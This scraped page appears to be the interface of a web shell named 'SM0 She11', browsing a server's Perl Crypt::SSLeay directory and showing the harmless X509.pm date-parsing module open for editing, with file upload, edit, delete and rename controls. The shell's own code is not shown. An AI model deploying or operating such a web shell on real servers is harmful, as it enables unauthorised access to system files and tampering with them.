SM0 She11

Path: / / usr / lib64 / perl5 / vendor_perl / Crypt / SSLeay

Full Path (server): /usr/lib64/perl5/vendor_perl/Crypt/SSLeay

Create Fil3

Upl04d Fil3

• 📄 CTX.pm [E] [D]
  [R]
• 📄 Conn.pm [E] [D]
  [R]
• 📄 Err.pm [E] [D]
  [R]
• 📄 MainContext.pm [E] [D]
  [R]
• 📄 X509.pm [E] [D]
  [R]

Editing: X509.pm

package Crypt::SSLeay::X509; use strict; sub not_before { my $cert = shift; not_string2time($cert->get_notBeforeString); } sub not_after { my $cert = shift; not_string2time($cert->get_notAfterString); } sub not_string2time { my $string = shift; # $string has the form 021019235959Z my($year, $month, $day, $hour, $minute, $second, $GMT)= $string=~m/(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(Z)?/; $year += 2000; my $time="$year-$month-$day $hour:$minute:$second"; $time .= " GMT" if $GMT; $time; } 1;
Save